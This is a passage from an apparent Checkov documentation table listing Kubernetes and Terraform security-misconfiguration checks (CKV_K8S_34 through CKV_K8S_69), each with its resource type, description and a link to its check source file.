CKV_K8S_34 | resource | kubernetes_pod_v1 | Ensure that Tiller (Helm v2) is not deployed | Terraform | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py) | | 7036 | CKV_K8S_35 | resource | CronJob | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 7037 | CKV_K8S_35 | resource | DaemonSet | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 7038 | CKV_K8S_35 | resource | Deployment | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 7039 | CKV_K8S_35 | resource | DeploymentConfig | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 7040 | CKV_K8S_35 | resource | Job | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 7041 | CKV_K8S_35 | resource | Pod | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 7042 | CKV_K8S_35 | resource | PodTemplate | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 7043 | CKV_K8S_35 | resource | ReplicaSet | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 7044 | CKV_K8S_35 | resource | ReplicationController | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 7045 | CKV_K8S_35 | resource | StatefulSet | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 7046 | CKV_K8S_35 | resource | kubernetes_deployment | Prefer using secrets as files over secrets as environment variables | Terraform | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py) | | 7047 | CKV_K8S_35 | resource | kubernetes_deployment_v1 | Prefer using secrets as files over secrets as environment variables | Terraform | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py) | | 7048 | CKV_K8S_35 | resource | kubernetes_pod | Prefer using secrets as files over secrets as environment variables | Terraform | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py) | | 7049 | CKV_K8S_35 | resource | kubernetes_pod_v1 | Prefer using secrets as files over secrets as environment variables | Terraform | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py) | | 7050 | CKV_K8S_36 | resource | PodSecurityPolicy | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilitiesPSP.py) | | 7051 | CKV_K8S_36 | resource | kubernetes_pod_security_policy | Minimise the admission of containers with capabilities assigned | Terraform | [MinimiseCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilitiesPSP.py) | | 7052 | CKV_K8S_37 | resource | CronJob | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 7053 | CKV_K8S_37 | resource | DaemonSet | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 7054 | CKV_K8S_37 | resource | Deployment | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 7055 | CKV_K8S_37 | resource | DeploymentConfig | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 7056 | CKV_K8S_37 | resource | Job | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 7057 | CKV_K8S_37 | resource | Pod | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 7058 | CKV_K8S_37 | resource | PodTemplate | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 7059 | CKV_K8S_37 | resource | ReplicaSet | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 7060 | CKV_K8S_37 | resource | ReplicationController | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 7061 | CKV_K8S_37 | resource | StatefulSet | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 7062 | CKV_K8S_37 | resource | kubernetes_deployment | Minimise the admission of containers with capabilities assigned | Terraform | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py) | | 7063 | CKV_K8S_37 | resource | kubernetes_deployment_v1 | Minimise the admission of containers with capabilities assigned | Terraform | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py) | | 7064 | CKV_K8S_37 | resource | kubernetes_pod | Minimise the admission of containers with capabilities assigned | Terraform | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py) | | 7065 | CKV_K8S_37 | resource | kubernetes_pod_v1 | Minimise the admission of containers with capabilities assigned | Terraform | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py) | | 7066 | CKV_K8S_38 | resource | CronJob | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 7067 | CKV_K8S_38 | resource | DaemonSet | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 7068 | CKV_K8S_38 | resource | Deployment | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 7069 | CKV_K8S_38 | resource | Job | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 7070 | CKV_K8S_38 | resource | Pod | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 7071 | CKV_K8S_38 | resource | ReplicaSet | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 7072 | CKV_K8S_38 | resource | ReplicationController | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 7073 | CKV_K8S_38 | resource | StatefulSet | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 7074 | CKV_K8S_39 | resource | CronJob | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 7075 | CKV_K8S_39 | resource | DaemonSet | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 7076 | CKV_K8S_39 | resource | Deployment | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 7077 | CKV_K8S_39 | resource | DeploymentConfig | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 7078 | CKV_K8S_39 | resource | Job | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 7079 | CKV_K8S_39 | resource | Pod | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 7080 | CKV_K8S_39 | resource | PodTemplate | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 7081 | CKV_K8S_39 | resource | ReplicaSet | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 7082 | CKV_K8S_39 | resource | ReplicationController | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 7083 | CKV_K8S_39 | resource | StatefulSet | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 7084 | CKV_K8S_39 | resource | kubernetes_deployment | Do not use the CAP_SYS_ADMIN linux capability | Terraform | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py) | | 7085 | CKV_K8S_39 | resource | kubernetes_deployment_v1 | Do not use the CAP_SYS_ADMIN linux capability | Terraform | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py) | | 7086 | CKV_K8S_39 | resource | kubernetes_pod | Do not use the CAP_SYS_ADMIN linux capability | Terraform | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py) | | 7087 | CKV_K8S_39 | resource | kubernetes_pod_v1 | Do not use the CAP_SYS_ADMIN linux capability | Terraform | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py) | | 7088 | CKV_K8S_40 | resource | CronJob | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 7089 | CKV_K8S_40 | resource | DaemonSet | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 7090 | CKV_K8S_40 | resource | Deployment | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 7091 | CKV_K8S_40 | resource | Job | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 7092 | CKV_K8S_40 | resource | Pod | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 7093 | CKV_K8S_40 | resource | ReplicaSet | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 7094 | CKV_K8S_40 | resource | ReplicationController | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 7095 | CKV_K8S_40 | resource | StatefulSet | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 7096 | CKV_K8S_41 | resource | ServiceAccount | Ensure that default service accounts are not actively used | Kubernetes | [DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultServiceAccount.py) | | 7097 | CKV_K8S_41 | resource | kubernetes_service_account | Ensure that default service accounts are not actively used | Terraform | [DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccount.py) | | 7098 | CKV_K8S_41 | resource | kubernetes_service_account_v1 | Ensure that default service accounts are not actively used | Terraform | [DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccount.py) | | 7099 | CKV_K8S_42 | resource | ClusterRoleBinding | Ensure that default service accounts are not actively used | Kubernetes | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultServiceAccountBinding.py) | | 7100 | CKV_K8S_42 | resource | RoleBinding | Ensure that default service accounts are not actively used | Kubernetes | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultServiceAccountBinding.py) | | 7101 | CKV_K8S_42 | resource | kubernetes_cluster_role_binding | Ensure that default service accounts are not actively used | Terraform | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py) | | 7102 | CKV_K8S_42 | resource | kubernetes_cluster_role_binding_v1 | Ensure that default service accounts are not actively used | Terraform | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py) | | 7103 | CKV_K8S_42 | resource | kubernetes_role_binding | Ensure that default service accounts are not actively used | Terraform | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py) | | 7104 | CKV_K8S_42 | resource | kubernetes_role_binding_v1 | Ensure that default service accounts are not actively used | Terraform | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py) | | 7105 | CKV_K8S_43 | resource | CronJob | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 7106 | CKV_K8S_43 | resource | DaemonSet | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 7107 | CKV_K8S_43 | resource | Deployment | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 7108 | CKV_K8S_43 | resource | DeploymentConfig | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 7109 | CKV_K8S_43 | resource | Job | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 7110 | CKV_K8S_43 | resource | Pod | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 7111 | CKV_K8S_43 | resource | PodTemplate | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 7112 | CKV_K8S_43 | resource | ReplicaSet | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 7113 | CKV_K8S_43 | resource | ReplicationController | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 7114 | CKV_K8S_43 | resource | StatefulSet | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 7115 | CKV_K8S_43 | resource | kubernetes_deployment | Image should use digest | Terraform | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py) | | 7116 | CKV_K8S_43 | resource | kubernetes_deployment_v1 | Image should use digest | Terraform | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py) | | 7117 | CKV_K8S_43 | resource | kubernetes_pod | Image should use digest | Terraform | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py) | | 7118 | CKV_K8S_43 | resource | kubernetes_pod_v1 | Image should use digest | Terraform | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py) | | 7119 | CKV_K8S_44 | resource | Service | Ensure that the Tiller Service (Helm v2) is deleted | Kubernetes | [TillerService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerService.py) | | 7120 | CKV_K8S_44 | resource | kubernetes_service | Ensure that the Tiller Service (Helm v2) is deleted | Terraform | [TillerService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/TillerService.py) | | 7121 | CKV_K8S_44 | resource | kubernetes_service_v1 | Ensure that the Tiller Service (Helm v2) is deleted | Terraform | [TillerService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/TillerService.py) | | 7122 | CKV_K8S_45 | resource | CronJob | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 7123 | CKV_K8S_45 | resource | DaemonSet | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 7124 | CKV_K8S_45 | resource | Deployment | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 7125 | CKV_K8S_45 | resource | DeploymentConfig | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 7126 | CKV_K8S_45 | resource | Job | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 7127 | CKV_K8S_45 | resource | Pod | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 7128 | CKV_K8S_45 | resource | PodTemplate | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 7129 | CKV_K8S_45 | resource | ReplicaSet | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 7130 | CKV_K8S_45 | resource | ReplicationController | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 7131 | CKV_K8S_45 | resource | StatefulSet | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 7132 | CKV_K8S_49 | resource | ClusterRole | Minimize wildcard use in Roles and ClusterRoles | Kubernetes | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/WildcardRoles.py) | | 7133 | CKV_K8S_49 | resource | Role | Minimize wildcard use in Roles and ClusterRoles | Kubernetes | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/WildcardRoles.py) | | 7134 | CKV_K8S_49 | resource | kubernetes_cluster_role | Minimize wildcard use in Roles and ClusterRoles | Terraform | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py) | | 7135 | CKV_K8S_49 | resource | kubernetes_cluster_role_v1 | Minimize wildcard use in Roles and ClusterRoles | Terraform | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py) | | 7136 | CKV_K8S_49 | resource | kubernetes_role | Minimize wildcard use in Roles and ClusterRoles | Terraform | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py) | | 7137 | CKV_K8S_49 | resource | kubernetes_role_v1 | Minimize wildcard use in Roles and ClusterRoles | Terraform | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py) | | 7138 | CKV_K8S_68 | resource | CronJob | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 7139 | CKV_K8S_68 | resource | DaemonSet | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 7140 | CKV_K8S_68 | resource | Deployment | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 7141 | CKV_K8S_68 | resource | DeploymentConfig | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 7142 | CKV_K8S_68 | resource | Job | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 7143 | CKV_K8S_68 | resource | Pod | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 7144 | CKV_K8S_68 | resource | PodTemplate | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 7145 | CKV_K8S_68 | resource | ReplicaSet | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 7146 | CKV_K8S_68 | resource | ReplicationController | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 7147 | CKV_K8S_68 | resource | StatefulSet | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 7148 | CKV_K8S_69 | resource | CronJob | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 7149 | CKV_K8S_69 | resource | DaemonSet | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 7150 | CKV_K8S_69 | resource | Deployment | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 7151 | CKV_K8S_69 | resource | DeploymentConfig | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 7152 | CKV_K8S_69 | resource | Job | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 7153 | CKV_K8S_69 | resource | Pod | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 7154 | CKV_K8S_69 | resource | PodTemplate | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 7155 | CKV_K8S_69 | resource | ReplicaSet | Ensure that the 